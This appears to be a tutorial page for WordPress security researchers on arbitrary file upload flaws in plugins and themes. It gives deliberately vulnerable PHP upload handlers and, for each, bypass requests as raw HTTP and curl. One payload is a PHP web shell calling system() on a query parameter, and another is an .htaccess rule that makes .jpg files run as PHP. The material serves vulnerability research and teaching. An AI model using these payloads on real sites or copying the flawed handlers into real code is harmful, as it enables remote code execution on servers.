Skip to content

Arbitrary File Upload

Introduction

This article covers cases of possible Arbitrary File Upload on WordPress. This includes improper file input handling inside of the plugin/theme which can be used to arbitrarily upload files including .php files to further achieve Remote Code Execution (RCE).

Files Input

The most common way to trace if a plugin/theme has a file handling from user input is via the $_FILES PHP variable.

Another way that is most of the time missed by hackers is via WP_REST_Request::get_file_params function. This function retrieves multipart file parameters from the body of a custom REST API route registered by the plugin/theme.

Useful Functions

Several functions could be useful to identify a possible Arbitrary File Upload vulnerability:

Compressed File Extraction

One of the processes to upload a file is through an extraction of the compressed file. The compressed itself can vary from zip, gz, tar, rar, xz, 7z, etc. Most of the time, the developer forgets to implement a pre-check before the extraction process and it could lead to users uploading arbitrary files if the user can control the filename and the content of the extracted file.

Here are several functions that can be used to decompress a file:

add_action("wp_ajax_unpack_fonts", "unpack_fonts");
function unpack_fonts(){
$file = $_FILES["file"];
$ext = end(explode('.',$file["name"]));
if($ext !== "zip"){
die();
}
$file_path = WP_CONTENT_DIR . "/uploads/" . $file["name"];
move_uploaded_file($file["tmp_name"], $file_path);
$zip = new ZipArchive;
$f = $zip->open($file_path);
if($f){
$zip->extractTo(WP_CONTENT_DIR . "/uploads/");
$zip->close();
}
}

To bypass the above check we need to prepare a valid zip file and add a malicious PHP file inside the zip file. Below is the example of a raw HTTP and cURL request to trigger the Arbitrary File Upload:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Connection: close
Cookie: <AUTHENTICATED_USER_COOKIE>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4Qx3GCzIwMf0iOPi
Content-Length: 352
------WebKitFormBoundary4Qx3GCzIwMf0iOPi
Content-Disposition: form-data; name="action"
unpack_fonts
------WebKitFormBoundary4Qx3GCzIwMf0iOPi
Content-Disposition: form-data; name="file"; filename="pwn.zip"
Content-Type: application/zip
<MALICIOUS_ZIP_METADATA>
------WebKitFormBoundary4Qx3GCzIwMf0iOPi--

OR

Terminal window
curl -F 'file=@pwn.zip' 'http://localhost/wp-admin/admin-ajax.php?action=unpack_fonts' -H 'Cookie: <AUTHENTICATED_USER_COOKIE>'

Bypass Techniques

Some of the conditions may make the file upload process secure, however, these specific conditions can still be bypassed to achieve an Arbitrary File Upload

MIME Type Check

Developers often only check for the file’s MIME content type before performing the upload process. This check alone is not enough to prevent Arbitrary File Upload since the attacker just needs to insert or append a malicious string like PHP code into a valid acceptable file MIME type.

Several functions could be used to check for a file’s MIME type. Here are several functions that can be used to check for MIME type:

Example of vulnerable code:

add_action("wp_ajax_nopriv_upload_image_check_mime", "upload_image_check_mime");
function upload_image_check_mime(){
$file = $_FILES["file"];
$file_type = mime_content_type($file["tmp_name"]);
$file_path = WP_CONTENT_DIR . "/uploads/" . $file["name"];
$allowed_mime_type = array("image/png", "image/jpeg");
if(in_array($file_type, $allowed_mime_type)){
move_uploaded_file($file["tmp_name"], $file_path);
echo "file uploaded";
}
else{
echo "file mime type not accepted";
}
}

To bypass the above check we need to prepare a valid PNG file and append a malicious PHP code to the PNG file metadata then rename the file with php extension. Below is the example of a raw HTTP and cURL request to trigger the Arbitrary File Upload:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4Qx3GCzIwMf0iOPi
Content-Length: 352
------WebKitFormBoundary4Qx3GCzIwMf0iOPi
Content-Disposition: form-data; name="action"
upload_image_check_mime
------WebKitFormBoundary4Qx3GCzIwMf0iOPi
Content-Disposition: form-data; name="file"; filename="pwn.php"
Content-Type: image/png
<PNG_IMAGE_METADATA>
<?php echo system($_GET["id"]); ?>
------WebKitFormBoundary4Qx3GCzIwMf0iOPi--

OR

Terminal window
curl -F 'file=@pwn.php' 'http://localhost/wp-admin/admin-ajax.php?action=upload_image_check_mime'

Most of the file upload process is for an image type of file. Sometimes, developers only check for conditions that are related to an image file. One of the common functions to be used for image-related checks is getimagesize function.

Example of vulnerable code:

add_action("wp_ajax_nopriv_upload_image_getimagesize", "upload_image_getimagesize");
function upload_image_getimagesize(){
$file = $_FILES["file"];
$file_path = WP_CONTENT_DIR . "/uploads/" . $file["name"];
$size = getimagesize($file["tmp_name"]);
$fileContent = file_get_contents($_FILES['file']["tmp_name"]);
if($size){
file_put_contents($file_path, $fileContent);
echo "image uploaded";
}
else{
echo "invalid image size";
}
}

To bypass the above check we need to prepare a valid image file and append a malicious PHP code to the image file metadata then rename the file with php extension. Below is the example of a raw HTTP and cURL request to trigger the Arbitrary File Upload:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4Qx3GCzIwMf0iOPi
Content-Length: 352
------WebKitFormBoundary4Qx3GCzIwMf0iOPi
Content-Disposition: form-data; name="action"
upload_image_getimagesize
------WebKitFormBoundary4Qx3GCzIwMf0iOPi
Content-Disposition: form-data; name="file"; filename="pwn.php"
Content-Type: image/png
<PNG_IMAGE_METADATA>
<?php echo system($_GET["id"]); ?>
------WebKitFormBoundary4Qx3GCzIwMf0iOPi--

OR

Terminal window
curl -F 'file=@pwn.php' 'http://localhost/wp-admin/admin-ajax.php?action=upload_image_getimagesize'

Blacklist Bypass With .htaccess File

It is common for blacklist-based extension checks to forget to include .htaccess files. Unfortunately, uploading a .htaccess file can lead to Remote Code Execution (RCE) because this file is used to configure how the web server (usually Apache) processes requests.

For example, an attacker could use the .htaccess file to modify URL rewriting rules, allowing them to execute arbitrary PHP code embedded in user-controlled inputs or uploaded files. Additionally, directives like AddHandler or SetHandler can be used to force non-PHP files (like text files or images) to be interpreted as PHP, enabling the attacker to run server-side scripts that they previously uploaded.

Example of vulnerable code:

function upload_image(){
$file = $_FILES["file"];
$file_path = WP_CONTENT_DIR . "/uploads/" . $file["name"];
// File extension blacklist (dangerous files to disallow)
$blacklist = array("php", "exe", "sh", "js", "bat", "pl", "py");
// Get the file extension
$file_ext = pathinfo($file["name"], PATHINFO_EXTENSION);
// Check if the file extension is blacklisted
if(in_array($file_ext, $blacklist)){
echo "File type not allowed!";
die();
}
// Process upload
}

To bypass the above check we need to prepare and upload a valid .htaccess file containing a malicious SetHandler attribute that would result in files with .jpg extension being executed as PHP code. Below is an example of such a .htaccess file:

<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>

Then, all we need to do to gain RCE is to upload a .php file with the .jpg extension.

Article References

Below are some of the findings related to Arbitrary File Upload:

Contributors

rafieme-psk